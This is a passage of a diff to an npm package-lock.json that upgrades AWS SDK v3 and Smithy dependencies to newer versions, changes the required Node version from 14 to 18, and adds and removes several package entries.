+        "@smithy/middleware-content-length": "^4.0.4",
+        "@smithy/middleware-endpoint": "^4.1.13",
+        "@smithy/middleware-retry": "^4.1.14",
+        "@smithy/middleware-serde": "^4.0.8",
+        "@smithy/middleware-stack": "^4.0.4",
+        "@smithy/node-config-provider": "^4.1.3",
+        "@smithy/node-http-handler": "^4.0.6",
+        "@smithy/protocol-http": "^5.1.2",
+        "@smithy/smithy-client": "^4.4.5",
+        "@smithy/types": "^4.3.1",
+        "@smithy/url-parser": "^4.0.4",
+        "@smithy/util-base64": "^4.0.0",
+        "@smithy/util-body-length-browser": "^4.0.0",
+        "@smithy/util-body-length-node": "^4.0.0",
+        "@smithy/util-defaults-mode-browser": "^4.0.21",
+        "@smithy/util-defaults-mode-node": "^4.0.21",
+        "@smithy/util-endpoints": "^3.0.6",
+        "@smithy/util-middleware": "^4.0.4",
+        "@smithy/util-retry": "^4.0.6",
+        "@smithy/util-utf8": "^4.0.0",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@aws-sdk/core": {
-      "version": "3.451.0",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/core/-/core-3.451.0.tgz",
-      "integrity": "sha512-SamWW2zHEf1ZKe3j1w0Piauryl8BQIlej0TBS18A4ACzhjhWXhCs13bO1S88LvPR5mBFXok3XOT6zPOnKDFktw==",
+      "version": "3.840.0",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/core/-/core-3.840.0.tgz",
+      "integrity": "sha512-x3Zgb39tF1h2XpU+yA4OAAQlW6LVEfXNlSedSYJ7HGKXqA/E9h3rWQVpYfhXXVVsLdYXdNw5KBUkoAoruoZSZA==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/smithy-client": "^2.1.15",
-        "tslib": "^2.5.0"
+        "@aws-sdk/types": "3.840.0",
+        "@aws-sdk/xml-builder": "3.821.0",
+        "@smithy/core": "^3.6.0",
+        "@smithy/node-config-provider": "^4.1.3",
+        "@smithy/property-provider": "^4.0.4",
+        "@smithy/protocol-http": "^5.1.2",
+        "@smithy/signature-v4": "^5.1.2",
+        "@smithy/smithy-client": "^4.4.5",
+        "@smithy/types": "^4.3.1",
+        "@smithy/util-base64": "^4.0.0",
+        "@smithy/util-body-length-browser": "^4.0.0",
+        "@smithy/util-middleware": "^4.0.4",
+        "@smithy/util-utf8": "^4.0.0",
+        "fast-xml-parser": "4.4.1",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@aws-sdk/credential-provider-env": {
-      "version": "3.460.0",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-env/-/credential-provider-env-3.460.0.tgz",
-      "integrity": "sha512-WWdaRJFuYRc2Ue9NKDy2NIf8pQRNx/QRVmrsk6EkIID8uWlQIOePk3SWTVV0TZIyPrbfSEaSnJRZoShphJ6PAg==",
+      "version": "3.840.0",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-env/-/credential-provider-env-3.840.0.tgz",
+      "integrity": "sha512-EzF6VcJK7XvQ/G15AVEfJzN2mNXU8fcVpXo4bRyr1S6t2q5zx6UPH/XjDbn18xyUmOq01t+r8gG+TmHEVo18fA==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@aws-sdk/types": "3.460.0",
-        "@smithy/property-provider": "^2.0.0",
-        "@smithy/types": "^2.5.0",
-        "tslib": "^2.5.0"
+        "@aws-sdk/core": "3.840.0",
+        "@aws-sdk/types": "3.840.0",
+        "@smithy/property-provider": "^4.0.4",
+        "@smithy/types": "^4.3.1",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
+      }
+    },
+    "node_modules/@aws-sdk/credential-provider-http": {
+      "version": "3.840.0",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-http/-/credential-provider-http-3.840.0.tgz",
+      "integrity": "sha512-wbnUiPGLVea6mXbUh04fu+VJmGkQvmToPeTYdHE8eRZq3NRDi3t3WltT+jArLBKD/4NppRpMjf2ju4coMCz91g==",
+      "license": "Apache-2.0",
+      "dependencies": {
+        "@aws-sdk/core": "3.840.0",
+        "@aws-sdk/types": "3.840.0",
+        "@smithy/fetch-http-handler": "^5.0.4",
+        "@smithy/node-http-handler": "^4.0.6",
+        "@smithy/property-provider": "^4.0.4",
+        "@smithy/protocol-http": "^5.1.2",
+        "@smithy/smithy-client": "^4.4.5",
+        "@smithy/types": "^4.3.1",
+        "@smithy/util-stream": "^4.2.2",
+        "tslib": "^2.6.2"
+      },
+      "engines": {
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@aws-sdk/credential-provider-ini": {
-      "version": "3.460.0",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-ini/-/credential-provider-ini-3.460.0.tgz",
-      "integrity": "sha512-1IEUmyaWzt2M3mONO8QyZtPy0f9ccaEjCo48ZQLgptWxUI+Ohga9gPK0mqu1kTJOjv4JJGACYHzLwEnnpltGlA==",
+      "version": "3.840.0",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-ini/-/credential-provider-ini-3.840.0.tgz",
+      "integrity": "sha512-7F290BsWydShHb+7InXd+IjJc3mlEIm9I0R57F/Pjl1xZB69MdkhVGCnuETWoBt4g53ktJd6NEjzm/iAhFXFmw==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@aws-sdk/credential-provider-env": "3.460.0",
-        "@aws-sdk/credential-provider-process": "3.460.0",
-        "@aws-sdk/credential-provider-sso": "3.460.0",
-        "@aws-sdk/credential-provider-web-identity": "3.460.0",
-        "@aws-sdk/types": "3.460.0",
-        "@smithy/credential-provider-imds": "^2.0.0",
-        "@smithy/property-provider": "^2.0.0",
-        "@smithy/shared-ini-file-loader": "^2.0.6",
-        "@smithy/types": "^2.5.0",
-        "tslib": "^2.5.0"
+        "@aws-sdk/core": "3.840.0",
+        "@aws-sdk/credential-provider-env": "3.840.0",
+        "@aws-sdk/credential-provider-http": "3.840.0",
+        "@aws-sdk/credential-provider-process": "3.840.0",
+        "@aws-sdk/credential-provider-sso": "3.840.0",
+        "@aws-sdk/credential-provider-web-identity": "3.840.0",
+        "@aws-sdk/nested-clients": "3.840.0",
+        "@aws-sdk/types": "3.840.0",
+        "@smithy/credential-provider-imds": "^4.0.6",
+        "@smithy/property-provider": "^4.0.4",
+        "@smithy/shared-ini-file-loader": "^4.0.4",
+        "@smithy/types": "^4.3.1",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@aws-sdk/credential-provider-node": {
-      "version": "3.460.0",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-node/-/credential-provider-node-3.460.0.tgz",
-      "integrity": "sha512-PbPo92WIgNlF6V4eWKehYGYjTqf0gU9vr09LeQUc3bTm1DJhJw1j+HU/3PfQ8LwTkBQePO7MbJ5A2n6ckMwfMg==",
+      "version": "3.840.0",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-node/-/credential-provider-node-3.840.0.tgz",
+      "integrity": "sha512-KufP8JnxA31wxklLm63evUPSFApGcH8X86z3mv9SRbpCm5ycgWIGVCTXpTOdgq6rPZrwT9pftzv2/b4mV/9clg==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@aws-sdk/credential-provider-env": "3.460.0",
-        "@aws-sdk/credential-provider-ini": "3.460.0",
-        "@aws-sdk/credential-provider-process": "3.460.0",
-        "@aws-sdk/credential-provider-sso": "3.460.0",
-        "@aws-sdk/credential-provider-web-identity": "3.460.0",
-        "@aws-sdk/types": "3.460.0",
-        "@smithy/credential-provider-imds": "^2.0.0",
-        "@smithy/property-provider": "^2.0.0",
-        "@smithy/shared-ini-file-loader": "^2.0.6",
-        "@smithy/types": "^2.5.0",
-        "tslib": "^2.5.0"
+        "@aws-sdk/credential-provider-env": "3.840.0",
+        "@aws-sdk/credential-provider-http": "3.840.0",
+        "@aws-sdk/credential-provider-ini": "3.840.0",
+        "@aws-sdk/credential-provider-process": "3.840.0",
+        "@aws-sdk/credential-provider-sso": "3.840.0",
+        "@aws-sdk/credential-provider-web-identity": "3.840.0",
+        "@aws-sdk/types": "3.840.0",
+        "@smithy/credential-provider-imds": "^4.0.6",
+        "@smithy/property-provider": "^4.0.4",
+        "@smithy/shared-ini-file-loader": "^4.0.4",
+        "@smithy/types": "^4.3.1",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@aws-sdk/credential-provider-process": {
-      "version": "3.460.0",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-process/-/credential-provider-process-3.460.0.tgz",
-      "integrity": "sha512-ng+0FMc4EaxLAwdttCwf2nzNf4AgcqAHZ8pKXUf8qF/KVkoyTt3UZKW7P2FJI01zxwP+V4yAwVt95PBUKGn4YQ==",
+      "version": "3.840.0",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-process/-/credential-provider-process-3.840.0.tgz",
+      "integrity": "sha512-HkDQWHy8tCI4A0Ps2NVtuVYMv9cB4y/IuD/TdOsqeRIAT12h8jDb98BwQPNLAImAOwOWzZJ8Cu0xtSpX7CQhMw==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@aws-sdk/types": "3.460.0",
-        "@smithy/property-provider": "^2.0.0",
-        "@smithy/shared-ini-file-loader": "^2.0.6",
-        "@smithy/types": "^2.5.0",
-        "tslib": "^2.5.0"
+        "@aws-sdk/core": "3.840.0",
+        "@aws-sdk/types": "3.840.0",
+        "@smithy/property-provider": "^4.0.4",
+        "@smithy/shared-ini-file-loader": "^4.0.4",
+        "@smithy/types": "^4.3.1",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@aws-sdk/credential-provider-sso": {
-      "version": "3.460.0",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-sso/-/credential-provider-sso-3.460.0.tgz",
-      "integrity": "sha512-KnrQieOw17+aHEzE3SwfxjeSQ5ZTe2HeAzxkaZF++GxhNul/PkVnLzjGpIuB9bn71T9a2oNfG3peDUA+m2l2kw==",
+      "version": "3.840.0",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-sso/-/credential-provider-sso-3.840.0.tgz",
+      "integrity": "sha512-2qgdtdd6R0Z1y0KL8gzzwFUGmhBHSUx4zy85L2XV1CXhpRNwV71SVWJqLDVV5RVWVf9mg50Pm3AWrUC0xb0pcA==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@aws-sdk/client-sso": "3.460.0",
-        "@aws-sdk/token-providers": "3.460.0",
-        "@aws-sdk/types": "3.460.0",
-        "@smithy/property-provider": "^2.0.0",
-        "@smithy/shared-ini-file-loader": "^2.0.6",
-        "@smithy/types": "^2.5.0",
-        "tslib": "^2.5.0"
+        "@aws-sdk/client-sso": "3.840.0",
+        "@aws-sdk/core": "3.840.0",
+        "@aws-sdk/token-providers": "3.840.0",
+        "@aws-sdk/types": "3.840.0",
+        "@smithy/property-provider": "^4.0.4",
+        "@smithy/shared-ini-file-loader": "^4.0.4",
+        "@smithy/types": "^4.3.1",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@aws-sdk/credential-provider-web-identity": {
-      "version": "3.460.0",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-web-identity/-/credential-provider-web-identity-3.460.0.tgz",
-      "integrity": "sha512-7OeaZgC3HmJZGE0I0ZiKInUMF2LyA0IZiW85AYFnAZzAIfv1cXk/1UnDAoFIQhOZfnUBXivStagz892s480ryw==",
+      "version": "3.840.0",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-web-identity/-/credential-provider-web-identity-3.840.0.tgz",
+      "integrity": "sha512-dpEeVXG8uNZSmVXReE4WP0lwoioX2gstk4RnUgrdUE3YaPq8A+hJiVAyc3h+cjDeIqfbsQbZm9qFetKC2LF9dQ==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@aws-sdk/types": "3.460.0",
-        "@smithy/property-provider": "^2.0.0",
-        "@smithy/types": "^2.5.0",
-        "tslib": "^2.5.0"
+        "@aws-sdk/core": "3.840.0",
+        "@aws-sdk/nested-clients": "3.840.0",
+        "@aws-sdk/types": "3.840.0",
+        "@smithy/property-provider": "^4.0.4",
+        "@smithy/types": "^4.3.1",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@aws-sdk/middleware-host-header": {
-      "version": "3.460.0",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-host-header/-/middleware-host-header-3.460.0.tgz",
-      "integrity": "sha512-qBeDyuJkEuHe87Xk6unvFO9Zg5j6zM8bQOOZITocTLfu9JN0u5V4GQ/yopvpv+nQHmC/MGr0G7p+kIXMrg/Q2A==",
+      "version": "3.840.0",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-host-header/-/middleware-host-header-3.840.0.tgz",
+      "integrity": "sha512-ub+hXJAbAje94+Ya6c6eL7sYujoE8D4Bumu1NUI8TXjUhVVn0HzVWQjpRLshdLsUp1AW7XyeJaxyajRaJQ8+Xg==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@aws-sdk/types": "3.460.0",
-        "@smithy/protocol-http": "^3.0.9",
-        "@smithy/types": "^2.5.0",
-        "tslib": "^2.5.0"
+        "@aws-sdk/types": "3.840.0",
+        "@smithy/protocol-http": "^5.1.2",
+        "@smithy/types": "^4.3.1",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@aws-sdk/middleware-logger": {
-      "version": "3.460.0",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-logger/-/middleware-logger-3.460.0.tgz",
-      "integrity": "sha512-w2AJ6HOJ+Ggx9+VDKuWBHk5S0ZxYEo2EY2IFh0qtCQ1RDix/ur1QEzOOL5vNjHlZKPv/dseIwhgsTCac8UHXbQ==",
+      "version": "3.840.0",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-logger/-/middleware-logger-3.840.0.tgz",
+      "integrity": "sha512-lSV8FvjpdllpGaRspywss4CtXV8M7NNNH+2/j86vMH+YCOZ6fu2T/TyFd/tHwZ92vDfHctWkRbQxg0bagqwovA==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@aws-sdk/types": "3.460.0",
-        "@smithy/types": "^2.5.0",
-        "tslib": "^2.5.0"
+        "@aws-sdk/types": "3.840.0",
+        "@smithy/types": "^4.3.1",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@aws-sdk/middleware-recursion-detection": {
-      "version": "3.460.0",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-recursion-detection/-/middleware-recursion-detection-3.460.0.tgz",
-      "integrity": "sha512-wmzm1/2NzpcCVCAsGqqiTBK+xNyLmQwTOq63rcW6eeq6gYOO0cyTZROOkVRrrsKWPBigrSFFHvDrEvonOMtKAg==",
+      "version": "3.840.0",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-recursion-detection/-/middleware-recursion-detection-3.840.0.tgz",
+      "integrity": "sha512-Gu7lGDyfddyhIkj1Z1JtrY5NHb5+x/CRiB87GjaSrKxkDaydtX2CU977JIABtt69l9wLbcGDIQ+W0uJ5xPof7g==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@aws-sdk/types": "3.460.0",
-        "@smithy/protocol-http": "^3.0.9",
-        "@smithy/types": "^2.5.0",
-        "tslib": "^2.5.0"
+        "@aws-sdk/types": "3.840.0",
+        "@smithy/protocol-http": "^5.1.2",
+        "@smithy/types": "^4.3.1",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
-      }
-    },
-    "node_modules/@aws-sdk/middleware-sdk-sts": {
-      "version": "3.461.0",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-sdk-sts/-/middleware-sdk-sts-3.461.0.tgz",
-      "integrity": "sha512-sgNxkwKdJ/NZm7SJZBnbYPkbspmzn3lDyRSJH7PTCvyzDBzY2PB6yS/dfnGkitR+PYwromuOYMha37W4su2SOw==",
-      "dependencies": {
-        "@aws-sdk/middleware-signing": "3.461.0",
-        "@aws-sdk/types": "3.460.0",
-        "@smithy/types": "^2.5.0",
-        "tslib": "^2.5.0"
-      },
-      "engines": {
-        "node": ">=14.0.0"
-      }
-    },
-    "node_modules/@aws-sdk/middleware-signing": {
-      "version": "3.461.0",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-signing/-/middleware-signing-3.461.0.tgz",
-      "integrity": "sha512-aM/7VupHlsgeRG1UZSAQMWJX+2Jam4GG8ZGVAbLfBr9yh9cBwnUUndpUpYI9rU7atA8n+vISr162EbR7WTiFhQ==",
-      "dependencies": {
-        "@aws-sdk/types": "3.460.0",
-        "@smithy/property-provider": "^2.0.0",
-        "@smithy/protocol-http": "^3.0.9",
-        "@smithy/signature-v4": "^2.0.0",
-        "@smithy/types": "^2.5.0",
-        "@smithy/util-middleware": "^2.0.6",
-        "tslib": "^2.5.0"
-      },
-      "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@aws-sdk/middleware-user-agent": {
-      "version": "3.460.0",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-user-agent/-/middleware-user-agent-3.460.0.tgz",
-      "integrity": "sha512-0gBSOCr+RtwRUCSRLn9H3RVnj9ercvk/QKTHIr33CgfEdyZtIGpHWUSs6uqiQydPTRzjCm5SfUa6ESGhRVMM6A==",
+      "version": "3.840.0",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-user-agent/-/middleware-user-agent-3.840.0.tgz",
+      "integrity": "sha512-hiiMf7BP5ZkAFAvWRcK67Mw/g55ar7OCrvrynC92hunx/xhMkrgSLM0EXIZ1oTn3uql9kH/qqGF0nqsK6K555A==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@aws-sdk/types": "3.460.0",
-        "@aws-sdk/util-endpoints": "3.460.0",
-        "@smithy/protocol-http": "^3.0.9",
-        "@smithy/types": "^2.5.0",
-        "tslib": "^2.5.0"
+        "@aws-sdk/core": "3.840.0",
+        "@aws-sdk/types": "3.840.0",
+        "@aws-sdk/util-endpoints": "3.840.0",
+        "@smithy/core": "^3.6.0",
+        "@smithy/protocol-http": "^5.1.2",
+        "@smithy/types": "^4.3.1",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
+      }
+    },
+    "node_modules/@aws-sdk/nested-clients": {
+      "version": "3.840.0",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/nested-clients/-/nested-clients-3.840.0.tgz",
+      "integrity": "sha512-LXYYo9+n4hRqnRSIMXLBb+BLz+cEmjMtTudwK1BF6Bn2RfdDv29KuyeDRrPCS3TwKl7ZKmXUmE9n5UuHAPfBpA==",
+      "license": "Apache-2.0",
+      "dependencies": {
+        "@aws-crypto/sha256-browser": "5.2.0",
+        "@aws-crypto/sha256-js": "5.2.0",
+        "@aws-sdk/core": "3.840.0",
+        "@aws-sdk/middleware-host-header": "3.840.0",
+        "@aws-sdk/middleware-logger": "3.840.0",
+        "@aws-sdk/middleware-recursion-detection": "3.840.0",
+        "@aws-sdk/middleware-user-agent": "3.840.0",
+        "@aws-sdk/region-config-resolver": "3.840.0",
+        "@aws-sdk/types": "3.840.0",
+        "@aws-sdk/util-endpoints": "3.840.0",
+        "@aws-sdk/util-user-agent-browser": "3.840.0",
+        "@aws-sdk/util-user-agent-node": "3.840.0",
+        "@smithy/config-resolver": "^4.1.4",
+        "@smithy/core": "^3.6.0",
+        "@smithy/fetch-http-handler": "^5.0.4",
+        "@smithy/hash-node": "^4.0.4",
+        "@smithy/invalid-dependency": "^4.0.4",
+        "@smithy/middleware-content-length": "^4.0.4",
+        "@smithy/middleware-endpoint": "^4.1.13",
+        "@smithy/middleware-retry": "^4.1.14",
+        "@smithy/middleware-serde": "^4.0.8",
+        "@smithy/middleware-stack": "^4.0.4",
+        "@smithy/node-config-provider": "^4.1.3",
+        "@smithy/node-http-handler": "^4.0.6",
+        "@smithy/protocol-http": "^5.1.2",
+        "@smithy/smithy-client": "^4.4.5",
+        "@smithy/types": "^4.3.1",
+        "@smithy/url-parser": "^4.0.4",
+        "@smithy/util-base64": "^4.0.0",
+        "@smithy/util-body-length-browser": "^4.0.0",
+        "@smithy/util-body-length-node": "^4.0.0",
+        "@smithy/util-defaults-mode-browser": "^4.0.21",
+        "@smithy/util-defaults-mode-node": "^4.0.21",
+        "@smithy/util-endpoints": "^3.0.6",
+        "@smithy/util-middleware": "^4.0.4",
+        "@smithy/util-retry": "^4.0.6",
+        "@smithy/util-utf8": "^4.0.0",
+        "tslib": "^2.6.2"
+      },
+      "engines": {
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@aws-sdk/region-config-resolver": {
-      "version": "3.451.0",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/region-config-resolver/-/region-config-resolver-3.451.0.tgz",
-      "integrity": "sha512-3iMf4OwzrFb4tAAmoROXaiORUk2FvSejnHIw/XHvf/jjR4EqGGF95NZP/n/MeFZMizJWVssrwS412GmoEyoqhg==",
+      "version": "3.840.0",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/region-config-resolver/-/region-config-resolver-3.840.0.tgz",
+      "integrity": "sha512-Qjnxd/yDv9KpIMWr90ZDPtRj0v75AqGC92Lm9+oHXZ8p1MjG5JE2CW0HL8JRgK9iKzgKBL7pPQRXI8FkvEVfrA==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/node-config-provider": "^2.1.5",
-        "@smithy/types": "^2.5.0",
-        "@smithy/util-config-provider": "^2.0.0",
-        "@smithy/util-middleware": "^2.0.6",
-        "tslib": "^2.5.0"
+        "@aws-sdk/types": "3.840.0",
+        "@smithy/node-config-provider": "^4.1.3",
+        "@smithy/types": "^4.3.1",
+        "@smithy/util-config-provider": "^4.0.0",
+        "@smithy/util-middleware": "^4.0.4",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@aws-sdk/token-providers": {
-      "version": "3.460.0",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/token-providers/-/token-providers-3.460.0.tgz",
-      "integrity": "sha512-EvSIPMI1gXk3gEkdtbZCW+p3Bjmt2gOR1m7ibQD7qLj4l0dKXhp4URgTqB1ExH3S4qUq0M/XSGKbGLZpvunHNg==",
+      "version": "3.840.0",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/token-providers/-/token-providers-3.840.0.tgz",
+      "integrity": "sha512-6BuTOLTXvmgwjK7ve7aTg9JaWFdM5UoMolLVPMyh3wTv9Ufalh8oklxYHUBIxsKkBGO2WiHXytveuxH6tAgTYg==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@aws-crypto/sha256-browser": "3.0.0",
-        "@aws-crypto/sha256-js": "3.0.0",
-        "@aws-sdk/middleware-host-header": "3.460.0",
-        "@aws-sdk/middleware-logger": "3.460.0",
-        "@aws-sdk/middleware-recursion-detection": "3.460.0",
-        "@aws-sdk/middleware-user-agent": "3.460.0",
-        "@aws-sdk/region-config-resolver": "3.451.0",
-        "@aws-sdk/types": "3.460.0",
-        "@aws-sdk/util-endpoints": "3.460.0",
-        "@aws-sdk/util-user-agent-browser": "3.460.0",
-        "@aws-sdk/util-user-agent-node": "3.460.0",
-        "@smithy/config-resolver": "^2.0.18",
-        "@smithy/fetch-http-handler": "^2.2.6",
-        "@smithy/hash-node": "^2.0.15",
-        "@smithy/invalid-dependency": "^2.0.13",
-        "@smithy/middleware-content-length": "^2.0.15",
-        "@smithy/middleware-endpoint": "^2.2.0",
-        "@smithy/middleware-retry": "^2.0.20",
-        "@smithy/middleware-serde": "^2.0.13",
-        "@smithy/middleware-stack": "^2.0.7",
-        "@smithy/node-config-provider": "^2.1.5",
-        "@smithy/node-http-handler": "^2.1.9",
-        "@smithy/property-provider": "^2.0.0",
-        "@smithy/protocol-http": "^3.0.9",
-        "@smithy/shared-ini-file-loader": "^2.0.6",
-        "@smithy/smithy-client": "^2.1.15",
-        "@smithy/types": "^2.5.0",
-        "@smithy/url-parser": "^2.0.13",
-        "@smithy/util-base64": "^2.0.1",
-        "@smithy/util-body-length-browser": "^2.0.0",
-        "@smithy/util-body-length-node": "^2.1.0",
-        "@smithy/util-defaults-mode-browser": "^2.0.19",
-        "@smithy/util-defaults-mode-node": "^2.0.25",
-        "@smithy/util-endpoints": "^1.0.4",
-        "@smithy/util-retry": "^2.0.6",
-        "@smithy/util-utf8": "^2.0.2",
-        "tslib": "^2.5.0"
+        "@aws-sdk/core": "3.840.0",
+        "@aws-sdk/nested-clients": "3.840.0",
+        "@aws-sdk/types": "3.840.0",
+        "@smithy/property-provider": "^4.0.4",
+        "@smithy/shared-ini-file-loader": "^4.0.4",
+        "@smithy/types": "^4.3.1",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@aws-sdk/types": {
-      "version": "3.460.0",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/types/-/types-3.460.0.tgz",
-      "integrity": "sha512-MyZSWS/FV8Bnux5eD9en7KLgVxevlVrGNEP3X2D7fpnUlLhl0a7k8+OpSI2ozEQB8hIU2DLc/XXTKRerHSefxQ==",
+      "version": "3.840.0",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/types/-/types-3.840.0.tgz",
+      "integrity": "sha512-xliuHaUFZxEx1NSXeLLZ9Dyu6+EJVQKEoD+yM+zqUo3YDZ7medKJWY6fIOKiPX/N7XbLdBYwajb15Q7IL8KkeA==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/types": "^2.5.0",
-        "tslib": "^2.5.0"
+        "@smithy/types": "^4.3.1",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@aws-sdk/util-endpoints": {
-      "version": "3.460.0",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/util-endpoints/-/util-endpoints-3.460.0.tgz",
-      "integrity": "sha512-myH6kM5WP4IWULHDHMYf2Q+BCYVGlzqJgiBmO10kQEtJSeAGZZ49eoFFYgKW8ZAYB5VnJ+XhXVB1TRA+vR4l5A==",
+      "version": "3.840.0",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/util-endpoints/-/util-endpoints-3.840.0.tgz",
+      "integrity": "sha512-eqE9ROdg/Kk0rj3poutyRCFauPDXIf/WSvCqFiRDDVi6QOnCv/M0g2XW8/jSvkJlOyaXkNCptapIp6BeeFFGYw==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@aws-sdk/types": "3.460.0",
-        "@smithy/util-endpoints": "^1.0.4",
-        "tslib": "^2.5.0"
+        "@aws-sdk/types": "3.840.0",
+        "@smithy/types": "^4.3.1",
+        "@smithy/util-endpoints": "^3.0.6",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@aws-sdk/util-locate-window": {
-      "version": "3.310.0",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/util-locate-window/-/util-locate-window-3.310.0.tgz",
-      "integrity": "sha512-qo2t/vBTnoXpjKxlsC2e1gBrRm80M3bId27r0BRB2VniSSe7bL1mmzM+/HFtujm0iAxtPM+aLEflLJlJeDPg0w==",
+      "version": "3.804.0",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/util-locate-window/-/util-locate-window-3.804.0.tgz",
+      "integrity": "sha512-zVoRfpmBVPodYlnMjgVjfGoEZagyRF5IPn3Uo6ZvOZp24chnW/FRstH7ESDHDDRga4z3V+ElUQHKpFDXWyBW5A==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "tslib": "^2.5.0"
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@aws-sdk/util-user-agent-browser": {
-      "version": "3.460.0",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/util-user-agent-browser/-/util-user-agent-browser-3.460.0.tgz",
-      "integrity": "sha512-FRCzW+TyjKnvxsargPVrjayBfp/rvObYHZyZ2OSqrVw8lkkPCb4e/WZOeIiXZuhdhhoah7wMuo6zGwtFF3bYKg==",
+      "version": "3.840.0",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/util-user-agent-browser/-/util-user-agent-browser-3.840.0.tgz",
+      "integrity": "sha512-JdyZM3EhhL4PqwFpttZu1afDpPJCCc3eyZOLi+srpX11LsGj6sThf47TYQN75HT1CarZ7cCdQHGzP2uy3/xHfQ==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@aws-sdk/types": "3.460.0",
-        "@smithy/types": "^2.5.0",
+        "@aws-sdk/types": "3.840.0",
+        "@smithy/types": "^4.3.1",
         "bowser": "^2.11.0",
-        "tslib": "^2.5.0"
+        "tslib": "^2.6.2"
       }
     },
     "node_modules/@aws-sdk/util-user-agent-node": {
-      "version": "3.460.0",
